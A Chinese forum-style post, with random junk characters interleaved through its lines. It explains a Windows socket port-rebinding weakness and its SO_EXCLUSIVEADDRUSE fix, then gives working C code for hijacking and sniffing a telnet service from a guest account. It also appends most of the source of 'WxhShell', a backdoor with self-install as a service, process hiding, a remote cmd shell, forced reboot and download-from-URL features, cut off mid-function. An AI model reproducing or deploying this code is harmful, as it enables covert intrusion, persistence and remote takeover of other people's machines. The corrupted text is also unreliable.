在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
iQ}sp64 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
|3T|F3uEX
<#x%A0 saddr.sin_family = AF_INET;
uuK]<h* d>"$^${ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
_M]rH<h f_P+qm bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Oi%~8J> g d}TTe
其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
|8U7C\S[ Hv7D+j8M 这意味着什么?意味着可以进行如下的攻击:
h, 6S$,UI .'2gJ"?, 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
dR, NC-* ZR q}g: 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
e}O -I NF\^'W@N 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
gJFpEA { $*)(8C l 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
F']%q 0 U;Y}2 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
aj'8;E+ rIWN!@.J 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
h`;F<PFW yJ`1},^ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
|9"^s x =|V]8 tN #include
Rb}&c)4 #include
^`r|3c0 #include
[BR}4(7 #include
RJsG]` DWORD WINAPI ClientThread(LPVOID lpParam);
`"=L int main()
u-M$45vct {
)E~\H+FP6 WORD wVersionRequested;
?O>JtEz~lQ DWORD ret;
L\?g/l+k WSADATA wsaData;
FjLv*K[#d BOOL val;
. N} }cJq SOCKADDR_IN saddr;
{f-/,g~ SOCKADDR_IN scaddr;
% m5 ^p int err;
jc~*#\N SOCKET s;
K2o0L5Lke SOCKET sc;
-[7,ph int caddsize;
%TTL^@1!b HANDLE mt;
{*Wwu
f. DWORD tid;
)I-?zyL wVersionRequested = MAKEWORD( 2, 2 );
iXS-EB/ err = WSAStartup( wVersionRequested, &wsaData );
[tK:y[nk if ( err != 0 ) {
Sq8Q* printf("error!WSAStartup failed!\n");
B';>Hk return -1;
T2_#[bk*d }
Ihq@|s8 saddr.sin_family = AF_INET;
v4a4*rBI" V?z{UZkR
//截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
vyOC2c8 ^8*SCM_A saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
s!fY^3 saddr.sin_port = htons(23);
S9#N%{8P if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
w|FVqX {
QOy&!6 printf("error!socket failed!\n");
0i(?LI_S return -1;
x|i3e&D }
rxI&;F# val = TRUE;
:w_1J'D} //SO_REUSEADDR选项就是可以实现端口重绑定的
s=Q*| if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
'\E{qlI {
B|$13dHfa printf("error!setsockopt failed!\n");
{1U*:@j return -1;
*k]S{]Y }
12'(MAP //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
z2q5f:d8 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
[QN7+#K, //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
8*~:gZ7: ]S aH/$ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
pV|?dQ {
T9<nD"=: ret=GetLastError();
Zy3&Zt printf("error!bind failed!\n");
4lf36K, return -1;
"LIii1]k }
0THAI listen(s,2);
o9d$
4s@/ while(1)
;Hp' x_xQ {
TdIFZ[<7 caddsize = sizeof(scaddr);
v oS"X
//接受连接请求
GJ_)Cl+5E sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
}w^ T9OC if(sc!=INVALID_SOCKET)
vFC=qLz: {
M`fXH 3D mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
/lQ0`^yB if(mt==NULL)
iT9Ex9RL {
(Tb0PzA printf("Thread Creat Failed!\n");
|ylTy B break;
B(Q.a&w45t }
{u6fa>R&$ }
Q~!hr0
ZR CloseHandle(mt);
`e=n(D }
`'.x*MNF closesocket(s);
gH55caF< WSACleanup();
CWsv#XOg] return 0;
hg=G// }
=usDI<3r DWORD WINAPI ClientThread(LPVOID lpParam)
@M?EgVmW {
q&6=oss! SOCKET ss = (SOCKET)lpParam;
&B0&183 SOCKET sc;
oYErG], unsigned char buf[4096];
OmbKx&>YGz SOCKADDR_IN saddr;
"$cT*}br long num;
5GL+j%7 DWORD val;
G-?9;w'@ DWORD ret;
!:[n3.vm //如果是隐藏端口应用的话,可以在此处加一些判断
NRF%Qd8I/2 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
wggHUr(g, saddr.sin_family = AF_INET;
FtDAk? saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
}v,P3 saddr.sin_port = htons(23);
j6(IF5MqP if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
0$ac1;7 {
8'Bl=C|0X printf("error!socket failed!\n");
lj*913aFh return -1;
Z9~Wlt'? }
[F{a-i- val = 100;
cNc_
n<M if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
)K3
vzX {
tg3JU\ ret = GetLastError();
IqKXFORiNI return -1;
pv SFp-:_ }
[4rMUS7-m" if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Cfb-:e$0 {
F+S#m3X ret = GetLastError();
''Ec-b6Q- return -1;
/O9EI'40) }
=u"|qD if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Qug'B {
geSo#mV printf("error!socket connect failed!\n");
1)Bi>X closesocket(sc);
'X<uG
x closesocket(ss);
U2nRgd return -1;
me^Gk/`Em }
Vho0f<`E while(1)
iquGLwJ {
vqZM89xY //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
31Mc<4zI8 //如果是嗅探内容的话,可以再此处进行内容分析和记录
*sVxjZvV //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
{ F8,^+b| num = recv(ss,buf,4096,0);
"*\3.`Kd if(num>0)
f(o`=% k8 send(sc,buf,num,0);
LfM(DK else if(num==0)
JjML!; break;
A|Gqjy^;@ num = recv(sc,buf,4096,0);
o?+e_n= if(num>0)
&\[J send(ss,buf,num,0);
EQO7:vb else if(num==0)
*3($s_r> break;
1M+!cX }
(1]@ fCd + closesocket(ss);
VSFl9/5? closesocket(sc);
{_}"USS return 0 ;
J"|$V# }
8}T3Fig,q bkI A:2HX EA#!h'-s ==========================================================
L-gF$it\*b (oEA)yc| 下边附上一个代码,,WXhSHELL
(9|K}IM: boovCW ==========================================================
S@($c' kO4~N-& #include "stdafx.h"
?=rh= # !
NEq|Y #include <stdio.h>
f+AIxSw #include <string.h>
2GS2, #include <windows.h>
0M -AIQ5 #include <winsock2.h>
)\G#[Pc7 #include <winsvc.h>
t]%R4ymV #include <urlmon.h>
vb!KuI!:p E #p6A5 #pragma comment (lib, "Ws2_32.lib")
hJNA% #pragma comment (lib, "urlmon.lib")
&>+Z$ZD )6WU&0>AU8 #define MAX_USER 100 // 最大客户端连接数
3i~{x[Jc #define BUF_SOCK 200 // sock buffer
!iqz 4E #define KEY_BUFF 255 // 输入 buffer
,#Y".23G 75i)$}_1B #define REBOOT 0 // 重启
wX;NU4)n #define SHUTDOWN 1 // 关机
9z}kkYk
ond/e&1 #define DEF_PORT 5000 // 监听端口
`<G+N 2eYkWHi #define REG_LEN 16 // 注册表键长度
~VF,qspO #define SVC_LEN 80 // NT服务名长度
wE2?/wb ,fFJSY^ // 从dll定义API
$hh=-#J8 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
-+/| typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
$=R\3:j typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
VEm[F/' typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
9x<
8(]\ !>j-j // wxhshell配置信息
SfT ]C~#$N struct WSCFG {
0IuU4h5Fr int ws_port; // 监听端口
ly+7klQ;. char ws_passstr[REG_LEN]; // 口令
rtz(Jt{< int ws_autoins; // 安装标记, 1=yes 0=no
F$C:4c char ws_regname[REG_LEN]; // 注册表键名
C%"@|01cO char ws_svcname[REG_LEN]; // 服务名
u Rg^: char ws_svcdisp[SVC_LEN]; // 服务显示名
nr;/:[F char ws_svcdesc[SVC_LEN]; // 服务描述信息
8nM]G4H.f char ws_passmsg[SVC_LEN]; // 密码输入提示信息
?'r[P03 int ws_downexe; // 下载执行标记, 1=yes 0=no
}e)ltp| char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
/qG?(3 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
4e sf&-gG HtlXbzN%) };
lom4z\6 akoI LX~u // default Wxhshell configuration
59u7q( struct WSCFG wscfg={DEF_PORT,
isqW?$s "xuhuanlingzhe",
d1N&J`R\1 1,
j!pxG5% "Wxhshell",
@P/{x@J "Wxhshell",
&bb*~W- "WxhShell Service",
on|>"F`pb "Wrsky Windows CmdShell Service",
de[_T%A "Please Input Your Password: ",
J u7AxTf~
1,
@ *dA<N.9 "
http://www.wrsky.com/wxhshell.exe",
FS[CUoA "Wxhshell.exe"
O.!?O( };
RIlPH~
nS#;<p$\ // 消息定义模块
X8<ygci+.5 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
GS@ wG char *msg_ws_prompt="\n\r? for help\n\r#>";
+8"H%#~ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
h#>67gJV char *msg_ws_ext="\n\rExit.";
Im=E?t char *msg_ws_end="\n\rQuit.";
&Jz%L^ char *msg_ws_boot="\n\rReboot...";
m6}"g[nN char *msg_ws_poff="\n\rShutdown...";
NH/H+7,o char *msg_ws_down="\n\rSave to ";
XUWza=BR" @EvnV. char *msg_ws_err="\n\rErr!";
MwZ`NH|n3" char *msg_ws_ok="\n\rOK!";
nr }H;wB eZHi6v)i char ExeFile[MAX_PATH];
[@)|j=:i: int nUser = 0;
&q+ %OPV HANDLE handles[MAX_USER];
)xU70:X int OsIsNt;
M II]sF 3ul SERVICE_STATUS serviceStatus;
^H>vJT SERVICE_STATUS_HANDLE hServiceStatusHandle;
g6S8@b))| \AG,dMS // 函数声明
'
x|B' int Install(void);
~$5[#\5%G int Uninstall(void);
f3O3pIA int DownloadFile(char *sURL, SOCKET wsh);
+VfJ:[q int Boot(int flag);
7~
2X/ void HideProc(void);
&c'unKH int GetOsVer(void);
N4r`czoj int Wxhshell(SOCKET wsl);
lVtgg? void TalkWithClient(void *cs);
6YN4] int CmdShell(SOCKET sock);
Sx}h$E: int StartFromService(void);
`8Gwf;P1 int StartWxhshell(LPSTR lpCmdLine);
[Gu]p& =i.[|g" VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
GlaWBF# VOID WINAPI NTServiceHandler( DWORD fdwControl );
\J6T:jeS, 'del|"h!M // 数据结构和表定义
@|M10r9E SERVICE_TABLE_ENTRY DispatchTable[] =
G$q=WM!%#s {
H7WKnn@ {wscfg.ws_svcname, NTServiceMain},
(mycUU% {NULL, NULL}
RNPqW,B!0 };
R8axdV9( ,]+6kf 5 // 自我安装
y 8sI @y6 int Install(void)
<I}k%q' {
joa$Y6 char svExeFile[MAX_PATH];
"<kmiK/ HKEY key;
}[1I_) strcpy(svExeFile,ExeFile);
j1g^Q$B>m -7lJ // 如果是win9x系统,修改注册表设为自启动
dJ$}] if(!OsIsNt) {
lA{Sr0fTP if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Tf+B<B: RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
&iuc4"' RegCloseKey(key);
,Ti#g8j if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
.NabK RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
U7Ps2~x3 RegCloseKey(key);
\KG{
11 return 0;
z19y>j }
KzhldMJ^zq }
@wB$qd;v }
O,7P6 else {
#<)u%)` ~;{)S}U@R // 如果是NT以上系统,安装为系统服务
\wMr[_LW SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
H>VuUH| if (schSCManager!=0)
RS$e^_ W {
KktQA*G SC_HANDLE schService = CreateService
idV4hMF9 (
sb;81?| schSCManager,
f9!wO';P6 wscfg.ws_svcname,
~6R|
a wscfg.ws_svcdisp,
|n0 )s% 8` SERVICE_ALL_ACCESS,
!Y5O3^I=u SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
m'Wz0b^BO SERVICE_AUTO_START,
=3sBWDB[ SERVICE_ERROR_NORMAL,
&K}!R$[,:P svExeFile,
2mI=V.X[& NULL,
ms<?BgCSz NULL,
,!c. NULL,
8K{
TRPy NULL,
'9-8_; NULL
.F9>|Xx[ );
5gi`&t` if (schService!=0)
Wh"oL;O {
IGVNX2 CloseServiceHandle(schService);
.aF+>#V=Q CloseServiceHandle(schSCManager);
s fazrz`h strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
m39 `f,M strcat(svExeFile,wscfg.ws_svcname);
>Efv?8$E\ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
7\5;;23N4 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
]^"*Fdn RegCloseKey(key);
i9_ZK/* return 0;
qbmy~\ZY }
t(^c]*r~ }
S.BM/M CloseServiceHandle(schSCManager);
1S <V,9( }
fH>]>2fS }
HA>b'lqBM wR1M_&-s return 1;
(@mvNlc: }
?-Fp rC ^b'|`R+~} // 自我卸载
G!@tW`HO int Uninstall(void)
R9~%ORI#; {
GKSfr8US4 HKEY key;
8 yQjB-,# YX,y7Uhn if(!OsIsNt) {
90&ld :97 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
In5'(UHW: RegDeleteValue(key,wscfg.ws_regname);
eXUXoK=T RegCloseKey(key);
/`3<@{D if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
j$a,93P5 RegDeleteValue(key,wscfg.ws_regname);
Ar N *9 RegCloseKey(key);
"^yTH/m return 0;
g*TAaUs|n }
?u"MsnCXYn }
9PIm/10pP^ }
Xh;Pbm|K else {
t(}\D]mj R6*:Us0\FJ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
)EcE{!H6+ if (schSCManager!=0)
zaf%% {
(pNA8i%=G SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
=EgiV<6vcH if (schService!=0)
H0_hQ:K {
eo4;?z if(DeleteService(schService)!=0) {
9=89)TrY CloseServiceHandle(schService);
/w$<0hH#'8 CloseServiceHandle(schSCManager);
Q47Rriw return 0;
v=$v*W }
]z;%%'gW6 CloseServiceHandle(schService);
*^ g7kCe( }
T]Pp\6ff CloseServiceHandle(schSCManager);
ORD@+ { }
" P c"{w }
Tn8Z2iC FT!|YJz<K return 1;
KFvNsqd }
I6ffp!^}Y =rFgOdj // 从指定url下载文件
3FR'N%+ int DownloadFile(char *sURL, SOCKET wsh)
<sE0426
{ {
@.6l^"L HRESULT hr;
c%n[v3] char seps[]= "/";
<H::{ char *token;
!7]4sXL{ char *file;
80U07tJ char myURL[MAX_PATH];
hlWTsi4N char myFILE[MAX_PATH];
Xkk m~sM6 S;[9
hI+ strcpy(myURL,sURL);
"JzQCY^C token=strtok(myURL,seps);
?kMG!stgp} while(token!=NULL)
iqW
T<WY {
l:5x*QSX file=token;
*"2TT}) token=strtok(NULL,seps);
l_Mi'}j }
' !>t( Sa 21_>|EKp GetCurrentDirectory(MAX_PATH,myFILE);
Wt*&_+ae strcat(myFILE, "\\");
D7T(B=S6 strcat(myFILE, file);
bX23F? send(wsh,myFILE,strlen(myFILE),0);
,#@B3~giC send(wsh,"...",3,0);
:
z*OAl" hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
t>:2F,0K9 if(hr==S_OK)
C(qqGK{ return 0;
uU=O 0?'zq else
a*@ 6G return 1;
<iDqt5)N jl YnV/ ] }
_1S^A0ft O RAKg.49 // 系统电源模块
of!Bz int Boot(int flag)
SO^:6GuJ {
o*& D; HANDLE hToken;
^kA^>vi TOKEN_PRIVILEGES tkp;
:f<3`x' ]U.1z if(OsIsNt) {
Au(zvgP OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
8(J&_7u LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
\x\_I1| tkp.PrivilegeCount = 1;
bR"hl? &c tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
p}_n
:a AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
~Q}JC3f> if(flag==REBOOT) {
rw/WD( if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
x2/L`q"M?= return 0;
?4vf2n@ }
L8sHG$[ else {
:\[W] if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
5RD\XgyN] return 0;
$Kw)BnV }
R1 u1 }
9un* 1% else {
kW=g:m if(flag==REBOOT) {
QhUv(]0 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
6Tjj++b(* return 0;
R%B"Gtl) }
L>VZ-j else {
DA;,)A&=Q if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
"5Orj*{ return 0;
f6@fi`U, }
n<\
WVi }
&0! f_ 4Rj;lAlwB return 1;
s}yJkQb }
#~<cp)!3 e%.Xya#\ // win9x进程隐藏模块
FrXFm+8
F void HideProc(void)
;T6{J[
h {
U"\$k& )pELCk HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
6apK]PT if ( hKernel != NULL )
Uv|z
c {
VQA}! p pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
|L|)r)t ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
CGmObN8~'F FreeLibrary(hKernel);
M\\t)=q }
;o*n*N GPP{"6q5' return;
w;@DcX$] }
pd2Lc
$O@ d67Q@')00 // 获取操作系统版本
]XX9.Xh=- int GetOsVer(void)
6~g`B<(? {
hwgLJY? OSVERSIONINFO winfo;
~a@O1MB winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
1 ?X(q GetVersionEx(&winfo);
S
ykblP37 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
6;"^Id return 1;
;\~{7 9c else
/'vCO
|?L return 0;
uFxhr2
<z }
: V16bRpjL zzmZ`Ya // 客户端句柄模块
VK)1/b=yT int Wxhshell(SOCKET wsl)
UykOQ-2-n {
2ZHeOKJ- SOCKET wsh;
3u]#Ra~5 struct sockaddr_in client;
fu3~W DWORD myID;
,=o)R,[ i"|="O0v5 while(nUser<MAX_USER)
l"9.zPvT< {
qbu>YTj int nSize=sizeof(client);
S-)mv'Al'F wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
[X>\!mt if(wsh==INVALID_SOCKET) return 1;
$@]tTz;b _m3}0q handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
ch2Q k8 if(handles[nUser]==0)
H(f~B<7q closesocket(wsh);
Y4E UW% else
Tc{r;:'G< nUser++;
UG)J4ZX }
zQY|=4NP WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
N~I2~f Qn`$xY9mT return 0;
rHhn)m }
+)8,$1[p| jY^wqQls // 关闭 socket
88c-K{}3 void CloseIt(SOCKET wsh)
2de[ yz {
3a#X:? closesocket(wsh);
fwvPh&U& nUser--;
&n:3n ExitThread(0);
k&Z3v. }
}9Yd[` QP+zGXd}( // 客户端请求句柄
9G)Sjn`AQ void TalkWithClient(void *cs)
QiDf,$t|, {
WSA;p=_ ~`J/618 SOCKET wsh=(SOCKET)cs;
dOm`p W ^ char pwd[SVC_LEN];
Z.9?u; char cmd[KEY_BUFF];
aDJ\% char chr[1];
lgR;V]^YX int i,j;
}` &an$Mu wPhN_XV while (nUser < MAX_USER) {
,SEC~)L G/Ll4
: if(wscfg.ws_passstr) {
B+e$S%HV if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
u$T`Bn //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
3&*_5<t\X //ZeroMemory(pwd,KEY_BUFF);
'2`MT- i=0;
Y6LoPJ while(i<SVC_LEN) {
?~G D^F X6_m&~}15 // 设置超时
UdBP2 lGd fd_set FdRead;
@S#>:o| struct timeval TimeOut;
}jj@A !N FD_ZERO(&FdRead);
S@Rw+#QE FD_SET(wsh,&FdRead);
-w8c;5X TimeOut.tv_sec=8;
8Lm}x_
TimeOut.tv_usec=0;
8
1Ar.< int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
AGwFD if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
/SLAg& (e>.hfrs if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Dx<">4 pwd
=chr[0]; :\
%.x3T'
if(chr[0]==0xd || chr[0]==0xa) { 6U{&`8C
pwd=0; We^!(G
break; dV{N,;z
} M>Yge~3
i++; 1$cX`D`
} [8Zq
1tU;G
RI,Z&kXj2o
// 如果是非法用户,关闭 socket V{51wnxT
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); gQpF(P
} dWC[p
Z1V%pg>]*
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); x --buO
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q~/TqG
U
P\"|b\O1
while(1) { Ift @/A
YXD6GJWo
ZeroMemory(cmd,KEY_BUFF); 3$YgGum
caA>; +aBH
// 自动支持客户端 telnet标准 tx-HY<
j=0; SoS GQ&k
while(j<KEY_BUFF) { vo'=d"zm
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yn;h.m [):
cmd[j]=chr[0]; =M]f7lJ
if(chr[0]==0xa || chr[0]==0xd) { D@[Mk"f
cmd[j]=0; _O!)aD
break; xRZ9.Agv_
} :5/P{Co(
j++; k!/"J
;
} zbL!q_wO
r[P5
ufy2]
// 下载文件 G]q1_q4P1?
if(strstr(cmd,"http://")) { 8FY.u{93
send(wsh,msg_ws_down,strlen(msg_ws_down),0); c*+yJNm3>
if(DownloadFile(cmd,wsh)) &_Py{Cv@Dw
send(wsh,msg_ws_err,strlen(msg_ws_err),0); aL63=y
else MMs#Y1dH
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3q*y~5&I
} Z<@Kkbj
else { <|= UrG
"^A4 !.
switch(cmd[0]) { fJ!i%</V
d8 1u
// 帮助 f<.43kv@
case '?': { d
]LF5*i
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5B+>28G%
break; EYc, "'
} "tuBfA+f
// 安装 11Kbj`sRZ
case 'i': { |RUx)&
if(Install()) hr%O 4&sa
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \k?uh+xl
else wRwTN"Yg
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y#\jc4F_a
break; $Iuf(J-5[
} p"9a`/
// 卸载 yRQR@
case 'r': { PZn[Yb:
if(Uninstall()) r81YL
send(wsh,msg_ws_err,strlen(msg_ws_err),0); d/>owCwQ
else QN=a{
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v3 $+l1
break; `I$'Lp#5
} =3rPE"@,[
// 显示 wxhshell 所在路径 oiP8~
case 'p': { VV/6~jy0
char svExeFile[MAX_PATH]; lSw9e<jYO
strcpy(svExeFile,"\n\r"); q'kZ3G
strcat(svExeFile,ExeFile); CJA5w[m
send(wsh,svExeFile,strlen(svExeFile),0); 2mVcT3
break; x <^vJ1
} iV X 12
// 重启 ,#G>&
case 'b': { 6< x0e;>
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2UYtFWB9o
if(Boot(REBOOT)) F,0@z/8a
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >sAZT:&gv
else { %-? :'F!1
closesocket(wsh); (17%/80-J
ExitThread(0); ?haN ;n6'
} Y40Hcc+Fx
break; %x_c2
} %GUu{n<6
// 关机 \VmqK&9
case 'd': { 8D[8(5
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Jd_w:H.
if(Boot(SHUTDOWN)) h>v;1QO9D
send(wsh,msg_ws_err,strlen(msg_ws_err),0); X#9}|rT56
else { b-e3i;T!}~
closesocket(wsh); 7Mxw0J
ExitThread(0); /{pVYY
} S4]}/Imn)
break; g0 ec-
} @NMFurm
// 获取shell p"4i(CWGS
case 's': { k$</7IuH
CmdShell(wsh); ra\Moy
closesocket(wsh); mG[S"?C
ExitThread(0); q1j<p)(
break;
/1-
} jbQ2G|:Q
// 退出 fu|N{$h%X
case 'x': { J%']t$AR
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5p6Kq=jhb
CloseIt(wsh); [KXxn>n
break; w[w{~`([",
} #~um F%#
// 离开 ND[u$N+5x"
case 'q': { %lZ++?&^
send(wsh,msg_ws_end,strlen(msg_ws_end),0); j.MpQ^eJ7
closesocket(wsh); 8%s^>.rG
WSACleanup(); eCB(!Y|
exit(1); a
p-\R
break; $ "[1yQ<p
} P+pL2 BA
} mIVnc`3s
} P<b.;Oz__-
qM
F'&
// 提示信息 '$u3i
#.\
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1Sox@Ko
} E@\e37e
} X%"P0P
e:H7ht:
return; gd'#K~?
} BCB"&:}
zAEq)9Y"l'
// shell模块句柄 SdhdXVZ
int CmdShell(SOCKET sock) <1[W Nj2[
{ Q g=k@
STARTUPINFO si; z'a#lA.$}
ZeroMemory(&si,sizeof(si)); G)\s{qk
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c;_GZ}8
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :+ksmyW
PROCESS_INFORMATION ProcessInfo; g|*2O}<
char cmdline[]="cmd"; QjETu
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); iMRb`
\KH
return 0; K1>.%m
} %]%.{W\j3
\&\_[y8U
// 自身启动模式 BQVpp,]
int StartFromService(void) Mw!?2G[|
{ lTe}[@(
typedef struct K7}EL|Kx
{ h: :'s&|
DWORD ExitStatus; "pq#A*
DWORD PebBaseAddress; ]#]m_+} Z
DWORD AffinityMask; Saa#Mj`M
DWORD BasePriority; \dj&4u3
ULONG UniqueProcessId; AfKJaDKf
ULONG InheritedFromUniqueProcessId; ~[XDK`B
